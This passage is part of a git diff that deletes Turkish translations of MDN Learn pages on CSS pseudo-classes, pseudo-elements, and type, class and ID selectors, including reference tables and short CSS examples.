-<p>{{EmbedGHLiveSample("css-examples/learn/selectors/first-child2.html", '100%', 700)}}</p> - -<p>Tüm sözde sınıflar aynı şekilde davranır. Belgemizin belirli bir durumda olan bir kısmını hedeflerler ve HTML'mize bir sınıf eklemişiz gibi davranırlar. MDN'de bulunan diğer bazı örneklere bir göz atmak yararlı olacaktır:</p> - -<ul> - <li><code><a href="/tr/docs/Web/CSS/:last-child">:last-child</a></code></li> - <li><code><a href="/tr/docs/Web/CSS/:only-child">:only-child</a></code></li> - <li><code><a href="/tr/docs/Web/CSS/:invalid">:invalid</a></code></li> -</ul> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Sözde sınıfları ve öğeleri, önünde herhangi bir öğe seçici olmadan yazmak geçerlidir. Yukarıdaki örnekte, öğe seçici olmadan <code>:first-child</code>'ı doğrudan yazabilirsin ve artık kural <code><article></code> öğesinin herhangi ilk çocuğu olan herhangi bir öğesiyle eşleşir — tür önemli değildir. <code>first-child</code> ile <code>*:first-child</code>'ın aynı işi yaptığını fakat evrensel seçici ile kullanımında okunurluluğun daha iyi olduğunu daha önceden açıklamıştır. Bununla birlikte, genellikle bundan daha fazla kontrole sahip olmak istenir, bu nedenle karekeristik özelliklere hakim olmalısın.</p> -</div> - -<h3 id="Kullanıcı_eylemi_sözde_sınıfları">Kullanıcı eylemi sözde sınıfları</h3> - -<p>Bazı sözde sınıflar, yalnızca kullanıcının belgeyle etkileşim kurduğunda geçerlidir. Bazen <strong>dinamik sözde sınıflar</strong> olarak adlandırılan bu <strong>kullanıcı eylemi</strong> sözde sınıfları, kullanıcı onunla etkileşime girdiğinde öğeye bir sınıf eklemiş gibi davranır. Örnek verirsek:</p> - -<ul> - <li><code><a href="/tr/docs/Web/CSS/:hover">:hover</a></code> — Farenin işaretçisi hangi öğenin üzerindeyse o öğeyi seçer. Farenin konumu değiştikçe seçilen öğede değişir. Fare işaretçisini bu listenin başındaki <code>:hover</code> dizesinin üzerine getirerek değişimi görebilirsin.</li> - <li><code><a href="/tr/docs/Web/CSS/:focus">:focus</a></code> — Bu sadece, kullanıcı öğeye klavye kontrolleri kullanarak odaklanılan öğeyi seçer.</li> -</ul> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/hover.html", '100%', 500)}}</p> - -<h2 id="Sözde_öğe_nedir">Sözde öğe nedir?</h2> - -<p>Sözde öğeler de benzer şekilde davranırlar, ancak var olan öğelere bir sınıf uygulamak yerine, sanki hedeflediğin noktaya yeni bir HTML öğesi eklemişsin gibi davranırlar. Sözde öğeler çift iki nokta üst üste ile başlar <code>::</code>.</p> - -<pre class="notranslate"><em>::pseudo-element-name</em></pre> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: İlk kullanılmaya başlanan bazı sözde öğeler tek iki nokta üst üste sözdizimini kullandı, bu nedenle bunları bazen kodlarda veya örneklerde görebilirsin. Modern tarayıcılar, geriye dönük uyumluluk için ilk zamanlarda çıkan söz dizimlerini tek veya çift üstü üste nokta ile desteklemeye devam ederler.</p> -</div> - -<p>Örneğin, bir paragrafın ilk satırını seçmek istiyorsan, onu bir <code><span></code> öğesine sarabilir ve ona bir CSS kuralı uygulayabilirsin; ancak, sarmaladığın kelime sayısı ana öğenin genişliğinden daha uzun veya daha kısa olsaydı bu başarısız olurdu. Bir satıra kaç kelimenin sığacağını bilemediğimiz için — ekran genişliği veya yazı tipi boyutu değişirse içeriğin şeklide değişecektir — bunu HTML öğesi ekleyerek sağlam bir şekilde yapmak imkansızdır.</p> - -<p><code>::first-line</code> Sözde öğesi güvenilir bir şekilde bunu sizin için yapacaktır — kelimelerin sayısının çoğalıp/azalması, ekranın genişleyip/daralması veya yazı tipinin ve boyutunun değişmesi bunu etkilemeyecek halen ilk satırı seçmeye devam edecektir.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/first-line.html", '100%', 800)}}</p> - -<p>Sanki bir <code><span></code>, ilk biçimlendirilmiş satırın etrafını sihirli bir şekilde sarmış ve satır uzunluğu her değiştiğinde kendini güncelleştiriyormuş gibi davranır.</p> - -<p>Bu örnekte her iki paragrafın da ilk satırını seçtiğini görebilirsin.</p> - -<h2 id="Sözde_sınıfları_ve_sözde_öğeleri_birleştirmek">Sözde sınıfları ve sözde öğeleri birleştirmek</h2> - -<p>İlk paragrafın ilk satırını kalın yapmak istersen, <code>:first-child</code> ve <code>::first-line</code> seçicileri birbirine zincirleyebilirsin. Aşağıdaki CSS'i kullanması için önceki canlı örneği düzenlemeyi deneyin. Bir <code><article></code> öğesi içinde bulunan ilk öğenin<code><p></code> ilk satırını seçmek istediğimizi söylüyoruz.</p> - -<pre class="brush: css notranslate"><code>article p:first-child::first-line { - font-size: 120%; - font-weight: bold; -}</code></pre> - -<h2 id="before_ve_after_ile_içerik_oluşturmak">::before ve ::after ile içerik oluşturmak</h2> - -<p>CSS kullanarak belgene içerik eklemek için kullanılan bir kaç özel sözde öğe vardır: <code>content</code>.</p> - -<p>Aşağıdaki canlı örnekte olduğu gibi bir metin dizisi eklemek için bunları kullanabilirsin. <code>content</code> özelliğinin metin dizesini değiştirmeyi dene ve çıktıdaki değişimi gözlemle. Ayrıca <code>::before</code> sözde öğesini <code>::after</code> olarak değiştir ve öğenin başına eklenen metnin ne tür bir değişim geçirdiğini gözlemle.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/before.html", '100%', 400)}}</p> - -<p>CSS'den metin dizeleri eklemek aslında web'de çok sık yaptığımız bir şey değildir. Çünkü bu metne bazı ekran okuyucular tarafından erişilemez ve gerektiğinde bu metinleri birilerinin bulması ve düzenlemesi zor olabilir.</p> - -<p>Bu sözde öğelerin daha geçerli bir kullanımı, bir simge eklemektir, örneğin aşağıdaki örnekte eklenen küçük ok, bir ekran okuyucusu tarafından okunmasını istemediğimiz gösterimdir:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/after-icon.html", '100%', 400)}}</p> - -<p>Bu sözde öpeler, aynı zamanda sayfadaki herhangi bir öğe gibi biçimlendirilebilen boş bir dize eklemek için de sıklılkla kullanılır.</p> - -<p>Bu sonraki örnekte, <code>::before</code> sözde öğesini kullanarak boş bir dizge ekledim. Bu boş dizeyi genişlik ve yükseklikle biçimlendirebilmem için bunu <code>display: block</code> olarak ayarladım. Artık CSS kullanarak onu normal bir öğe gibi şekillendirebiliyorum. Tanımlar üzerinde oynayarak görünüşünü ve davranışını değiştirebilirsin.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/before-styled.html", '100%', 500)}}</p> - -<p>Özellik ile birlikte <code>::before</code> ve <code>::after</code> sözde öğelerin kullanımı, CSS'de "Oluşturulan İçerik" olarak adlandırılır ve bu tekniği çeşitli görevler için kullanıldığını sıklıkla görürsün. <a href="http://www.cssarrowplease.com/">CSS Arrow Please</a>, CSS ile bir ok oluşturmamızı sağlayan harika bir sitedir. Okunu oluştururken CSS'e incele, {{cssxref("::before")}} ve cssxref("::after")}} sözde öğelerinin kullanıldığını göreceksin. Bu seçicileri her gördüğünde, belgeye neyin eklendiğini görmek için {{cssxref("content")}} özelliğine bak.</p> - -<h2 id="Referans_bölümü">Referans bölümü</h2> - -<p>Çok sayıda sözde sınıf ve sözde öğe vardır ve başvurlaracak bir listeye sahip olmak yararlıdır. Aşağıda, MDN'deki referans sayfalarına bağlantılarla birlikte listeleyen bir tablo bulunmakta. Bunu, hedeflemen için mevcut olan seçenekleri görmek için bir referans olarak kullanman takıldığın noktalarda faydalı olacaktır.</p> - -<h3 id="Sözde_sınıflar">Sözde sınıflar</h3> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Seçici</th> - <th scope="col">Açıklama</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ Cssxref(":active") }}</td> - <td>Kullanıcının tarafından etkinleştirilen öğeyi seçecektir. Bu kullanıcının bir butona tıklaması/etkinleştirmesi ile bu eylemi bırakması arasında gerçekleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":any-link") }}</td> - <td>Bağlantının herhangi bir durumuyla eşleşir <code>:link</code> ve <code>:visited</code> her iki bağlantı durumunun ikisiylede eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":blank") }}</td> - <td>herhangi kullanıcı girişi olmayan <a href="/tr/docs/Web/HTML/Element/input"><code><input></code> öğesiyle</a> eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":checked") }}</td> - <td>Kullanıcının seçtiği öğelerle eşleşir. Örn., onay kutuları veya radyo düşmelerini tikini açtığında.</td> - </tr> - <tr> - <td>{{ Cssxref(":current") }}</td> - <td>O anda görüntülenmekte olan öğeyle veya öğenin bir atasıyla eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":default") }}</td> - <td>Bir dizi benzer öğe arasında varsayılan değeri olan bir veya daha fazla UI öğesiyle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":dir") }}</td> - <td>Öğenin yönlülüğüne göre eşleme yapmak için kullanılır (HTML <code><a href="/tr/docs/Web/HTML/Global_attributes/dir">dir</a></code> niteliğinin değerine veya CSS <code><a href="/tr/docs/Web/CSS/direction">direction</a></code> özelliğindeki değere göre).</td> - </tr> - <tr> - <td>{{ Cssxref(":disabled") }}</td> - <td>Devre dışı bırakılmış kullanıcı arabirimi öğeleriyle eşleşir. Herhangi bir şekilde etkileşime girilemez sadece varsayılan olarak görünebilir.</td> - </tr> - <tr> - <td>{{ Cssxref(":empty") }}</td> - <td>Alt öğesi(çocukları) olmayan bir öğeyle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":enabled") }}</td> - <td>Herhangi bir şekilde etkileşime girilebilen öğeleri seçer.</td> - </tr> - <tr> - <td>{{ Cssxref(":first") }}</td> - <td><a href="/tr/docs/Web/CSS/Paged_Media">Basılı Medya</a>, içerisindeki ilk sayfayla eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":first-child") }}</td> - <td>Kardeşler arasında birinci olan öğeyle eşleşir</td> - </tr> - <tr> - <td>{{ Cssxref(":first-of-type") }}</td> - <td>Türdeş kardeşler arasındaki ilk öğeyi seçer.</td> - </tr> - <tr> - <td>{{ Cssxref(":focus") }}</td> - <td>Odaklanmış bir öğeyle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":focus-visible")}}</td> - <td>Öğeler arasında klavye ile dolaşıldığında odağın görüntülenmesi gereken öğelerle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":focus-within") }}</td> - <td>Odaklanılabilen bir çocuğu olan öğeyle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":future") }}</td> - <td>Geçerli öğeden sonraki öğe ile eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":hover") }}</td> - <td>Kullanıcının üzerine geldiği öğe ile eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":indeterminate") }}</td> - <td>Değeri belirsiz olan UI öğeleriyle eşleşir, genellikle <a href="/tr/docs/Web/HTML/Element/input/checkbox">checkboxes</a>.</td> - </tr> - <tr> - <td>{{ Cssxref(":in-range") }}</td> - <td>Değeri belirtilen aralık içerisinde olan bir öğe ile eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":invalid") }}</td> - <td>Geçersiz bir değer girilmiş olan <code><input></code> öğesiyle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":lang") }}</td> - <td>Dil tanımı olan bir öğe ile eşleşir (HTML'nin <a href="/tr/docs/Web/HTML/Global_attributes/lang">lang</a> niteliğindeki değerleri baz alır).</td> - </tr> - <tr> - <td>{{ Cssxref(":last-child") }}</td> - <td>Kardeşler arasındaki en son öğe ile eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":last-of-type") }}</td> - <td>Türdeş kardeşler arasındaki en son öğe ile eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":left") }}</td> - <td><a href="/tr/docs/Web/CSS/CSS_Pages">Basılı Medya</a>, içersindeki soldaki sayfalarla eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":link")}}</td> - <td>Ziyaret edilmeyen bağlantılar ile eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":local-link")}}</td> - <td>Geçerli belge ile aynı sitede bulunan sayfalara işaret eden bağlantılarla eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":is", ":is()")}}</td> - <td>Seçicide belirtilen seçilerden herhangi biriyle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":not") }}</td> - <td>Bağımsız deşişken tarafından temsil edilmeyen öğe/öğeler ile eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":nth-child") }}</td> - <td>Kardeş listesindeki öğeler ile eşleşir — (örn. Kardeşler eşleşirken an+b formülüne göre hesaplanarak eşleşir: a=2, b=1: 2n+1; 1, 3, 5, 7, vb. sıradaki öğelerle eşleşir, Tüm tek olanlar)</td> - </tr> - <tr> - <td>{{ Cssxref(":nth-of-type") }}</td> - <td>Türdeş kardeş listesindeki öğeler ile eşleşir. — (örn. Kardeşler eşleşirken an+b formülüne göre hesaplanarak eşleşir: a=2, b=1: 2n+1; 1, 3, 5, 7, vb. sıradaki öğelerle eşleşir, Tüm tek olanlar)</td> - </tr> - <tr> - <td>{{ Cssxref(":nth-last-child") }}</td> - <td>Kardeşler listesinden sondan başlayarak eşleştirmeye başlar — (örn. Kardeşler eşleşirken an+b formülüne göre hesaplanarak eşleşir: a=2, b=1: 2n+1; sondan 1., sondan 3., sondan 5., vb gibi öğeleri seçer.)</td> - </tr> - <tr> - <td>{{ Cssxref(":nth-last-of-type") }}</td> - <td>Türdeş kardeşler listesinden sondan başlayarak eşleştirmeye başlar — (örn. Kardeşler eşleşirken an+b formülüne göre hesaplanarak eşleşir: a=2, b=1: 2n+1; sondan 1., sondan 3., sondan 5., vb gibi öğeleri seçer.)</td> - </tr> - <tr> - <td>{{ Cssxref(":only-child") }}</td> - <td>Kardeşi olmayan bir öğeyle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":only-of-type") }}</td> - <td>Türdeş kardeşi olmayan bir öğeyle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":optional") }}</td> - <td>Örnek girişlerin gösterildiği öğeler ile eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":out-of-range") }}</td> - <td>Girilen değerin belirtilen aralığın dışında olduğu öğelerle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":past") }}</td> - <td>Geçerli öğeden önceki öğelerle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":placeholder-shown") }}</td> - <td>Tanımlayıcı bilgileri gösteren öğeler ile eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":playing") }}</td> - <td>Duraklatılıp oynatılabilen bir ses, video veya benzer bir kaynağı temsil eden öğe ile oynatıldığında eşleşir..</td> - </tr> - <tr> - <td>{{ Cssxref(":paused") }}</td> - <td>Duraklatılıp oynatılabilen bir ses, video veya benzer bir kaynağı temsil eden öğe ile duraklatıldığında eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":read-only") }}</td> - <td>Kullanıcı tarafından değeri değiştirilemeyen bir öğe ile eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":read-write") }}</td> - <td>Kulanıcı tarafından değeri değiştirilebilen bir öğe ile eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":required") }}</td> - <td>Kullanıcı tarafından bir değer girilmesi gereken öğelerle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":right") }}</td> - <td><a href="/tr/docs/Web/CSS/CSS_Pages">Basılı Medya</a>, sağ sayfalarla eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":root") }}</td> - <td>Belgenin kök öğesiyle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":scope") }}</td> - <td>scope öğesi olan herhangi öğeyle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":valid") }}</td> - <td>Geçerli bir değer girilmiş <code><input></code> öğesiyle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":target") }}</td> - <td>Geçerli bir URL'yi hedefleyen öğeyle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref(":visited") }}</td> - <td>Daha önceden ziyaret edilmiş bağlantılarla öşleşir.</td> - </tr> - </tbody> -</table> - -<h3 id="Sözde_öğeler">Sözde öğeler</h3> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Seçici</th> - <th scope="col">Açıklama</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ Cssxref("::after") }}</td> - <td>Kaynak öğenin gerçek içeriğinden sonra görünen biçimlendirilebilir bir öğeyle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref("::before") }}</td> - <td>Kaynak öğenin gerçek içeriğinden önce görünen biçimlendirilebilir bir öğeyle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref("::first-letter") }}</td> - <td>Öğe içeriğinin ilk harfiyle eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref("::first-line") }}</td> - <td>Öğe içeriğinin ilk satırıyla eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref("::grammar-error") }}</td> - <td>HTML sayfasında tarafıyıcı tarafından işaretlenen bir gramer hatasıyla eşleşir .</td> - </tr> - <tr> - <td>{{ Cssxref("::marker") }}</td> - <td>Genellikle bir madde işareti veya numara içeren bir liste öğesinin işaret kutusuyla eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref("::selection") }}</td> - <td>Belgenin seçilen kısmıyla eşleşir.</td> - </tr> - <tr> - <td>{{ Cssxref("::spelling-error") }}</td> - <td>HTML sayfasında tarayıcı tarafından işaretlenen yazım hatasıyla eşleşir.</td> - </tr> - </tbody> -</table> - -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde öğeler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de öğelerin boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'ini düzenleme</a></li> -</ol> diff --git a/files/tr/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html b/files/tr/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html deleted file mode 100644 index e5260643f8..0000000000 --- a/files/tr/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: 'Tür, sınıf ve Kimlik seçicileri' -slug: Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors -tags: - - Başlangıç - - Beginner - - CSS - - Class - - Kimlik - - Learn - - Ogrenim - - Selectors - - id - - seçiciler - - sınıf -translation_of: Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors ---- -<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}}</p> - -<p>Bu derste, muhtemelen çalışmalarında en sık kullanacağın en basit seçicilerden bazılarını inceleyeceğiz.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Learn/CSS/First_steps" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Farklı CSS seçicileri hakkında bilgi edinmek.</td> - </tr> - </tbody> -</table> - -<h2 id="Tür_seçiciler">Tür seçiciler</h2> - -<p>Bir <strong>tür seçici</strong>, belgende bir HTML öğesini seçtiği için bazen <em>etiket seçici</em> veya <em>öğe seçici</em> olarak anılır. Aşağıdaki örnekte, <code>span</code>, <code>em</code> ve <code>strong</code> seçicilerini kullandık.</p> - -<p><strong><code><h1></code> etiketini seçip rengini maviye dönüştüren bir CSS kuralı eklemeyi deneyin.</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/type.html", '100%', 1100)}}</p> - -<h2 id="Evrensel_seçici">Evrensel seçici</h2> - -<p>Evrensel seçici bir yıldız işaretiyle (<code>*</code>) gösterilir. Belgedeki(veya başka bir öğe ve bir alt birleştirici ile kullanmışsa ana öğenin içindekileri) her şeyi seçer. Aşağıdaki örnekte, tüm öğelerdeki kenar boşluklarını kaldırmak için evrensel seçiciyi kullanıyoruz. Bu, tarayıcının belgemizdeki başlıklara ve paragraflara varsayılan olarak eklediği kenar boşluklarını sıfırlayan bir kural ekler.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/universal.html", '100%', 750)}}</p> - -<p>Bu tür davranışlar bazen tüm tarayıcı stilini kaldıran "stil sayfalarını sıfırlama"'da görünür. Evrensel seçici genel değişiklikler yaptığı için, onu aşağıda açıklandığı gibi çok özel durumlar için kullanıyoruz.</p> - -<h3 id="Seçicilerinin_daha_kolay_okunmasını_sağlamak_için_evrensel_seçiciyi_kullanma">Seçicilerinin daha kolay okunmasını sağlamak için evrensel seçiciyi kullanma</h3> - -<p>Evrensel seçicinin bir kullanımı, seçicilerin daha kolay okunmasını ve ne yaptıkları açısından daha açık olmasını sağlamaktır. Örneğin, <code><article></code> öğesinin ilk çocuğunu ve öğenin altında içindeki çocuklarınında ilk çocuklarını seçmek istersek, {{cssxref(":first-child")}} sözde sınıfını kullanabilirsin. <code><article></code> öğe seçiciyle birlikte bir alt seçici olarak <a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde öğeler</a> kullanımı:</p> - -<pre class="brush: css notranslate">article :first-child { - font-weight: bold; -}</pre> - -<p>Bunla birlikte, bir öğenin ilk çocuğu olan <code><article></code> öğesini seçmek için kullanılan <code>article:first-child</code> ile bu kullanım karıştırılabilinir. Aradaki beyaz boşluk kodların içerisinde gözden kaçabilir.</p> - -<p>Bu karışıklığı önlemek için, <code>:first-child</code> sözde sınıfından önce evrensel seçiciyi ekleyebiliriz. Bu, <code><article></code> öğesinin de dahil soyundan gelen çoçuklarının, torunlarının.... ilk çocuğunu seçmek için kullanılır.</p> - -<pre class="brush: css notranslate">article *:first-child { - font-weight: bold; -} </pre> - -<p>Her ikisi de aynı şeyi yapsa da, okunabilirliği önemli ölçüde arttırmış olduk.</p> - -<h2 id="Sınıf_seçiciler">Sınıf seçiciler</h2> - -<p>Sınıf seçici bir nokta (<code>.</code>) karakteriyle başlar. Belgedeki sınıfın uygulandığı her şeyi seçecektir. Aşağıdaki canlı örnekte; <code>highlight</code> adlı bir sınıf oluşturduk ve bunu belgemdeki birkaç yere uyguladık. Böylece CSS kuralları sınıfın uygulandığı tüm öğelere vurgulanır.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/class.html", '100%', 750)}}</p> - -<h3 id="Belirli_unsurlara_göre_sınıfları_hedeflemek">Belirli unsurlara göre sınıfları hedeflemek</h3> - -<p>Uygulanan sınıfla birlikte belirli öğeleri hedefleyecek bir seçici oluşturabilirsin. Bir sonraki örnekte, <code>highlight</code> sınıfına sahip <code><span></code> ve <code><h1></code> öğelerimize farklı stillerle vurgulayacağız.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/class-type.html", '100%', 750)}}</p> - -<p>Bu yaklaşım, bir kuralın kapsamını azaltır. Kural, yalnızca o belirli öğe ve sınıf kombinasyonu için geçerli olacaktır. Kuralın diğer öğeler için de geçerli olması gerektiğine karar verirsen, başka bir seçici eklemen gerekir.</p> - -<h3 id="Birden_fazla_sınıf_uygulanmış_bir_öğeyi_hedeflemek">Birden fazla sınıf uygulanmış bir öğeyi hedeflemek</h3> - -<p>Bir öğeye birden fazla sınıf uygulayabilir ve bunları ayrı ayrı hedefleyebilirsin veya yalnızca seçicideki tüm sınıflar mevcut olduğunda öğeyi seçerbilirsin. Bu, sitende farklı şekillerde birleştirilebilen bileşenler oluştururken yardımcı olabilir.</p> - -<p>Aşağıdaki örnekte, <code><div></code> içerisinde bir notumuz var. Gri kenar, kutu bir <code>notebox</code> sınıfına dahilse uygulanır. Kutu ayrıca <code>warning</code> veya <code>danger</code> sınıflarından birine dahilse {{cssxref("border-color")}}'unu değiştirebiliriz.</p> - -<p>Tarayıcıya, yalnızca iki sınıf uygulanmışsa, aralarında beyaz boşluk olmadan onları birbirine zincirleyerek eşleştirmek istediğimizi söyleyebiliriz. Sonuncu <code><div></code>'in sadece <code>danger</code> sınıfına dahil olduğu için stilin uygulanmadığını göreceksin.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/class-many.html", '100%', 900)}}</p> - -<h2 id="Kimlik_seçiciler">Kimlik seçiciler</h2> - -<p>Kimlik seçici nokta karakterinden ziyade diyez <code>#</code> karakteriyle başlar. Ancak sınıf seçici ile aynı şekilde kullanılır. bununla birlikte, bir kimlik her sayfada yalnızca bir kez kullanılabilir ve öğelere tek bir kimlik(<code>id</code>) uygulanabilir. Kimlik uygulanmış bir öğe seçebilir ve hem öğe hem de kimlik eşleşirse öğeyi hedeflemek için kimliğin önüne bir tür seçici ekleyebilirsin. Aşağıdaki örnekte bu kullanımların her ikisini de görebilirsin.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/id.html", '100%', 750)}}</p> - -<div class="blockIndicator warning"> -<p><strong>Uyarı: </strong>Bir belgede aynı kimliği birden çok kez kullanmak stil oluşturma amacıyla işe yarayabilir, ancak bunu yapmayın. Geçersiz kodla sonuçlanır ve birçok yerde garip davranışlara neden olabilir.</p> -</div> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Özgüllük dersinde öğrendiğimiz gibi, bir kimliğin yüksek özgüllüğü vardır. Diğer çoğu seçiciyi geçersiz kılacaktır. Çoğu durumda, bir öğeye bir kimlik yerine bir sınıf eklemek tercih edilir. Ancak, öğeyi hedeflemenin tek yolu kimliği kullanmaksa — işaretlemeye erişimin olmadığı ve onu düzenleyemediğin için — bu işe yarayacaktır.</p> -</div> - -<h2 id="Sonraki_derste">Sonraki derste</h2> - -<p><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçicileri</a> inceleyerek seçicileri keşfetmeye devam edeceğiz.</p> - -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a 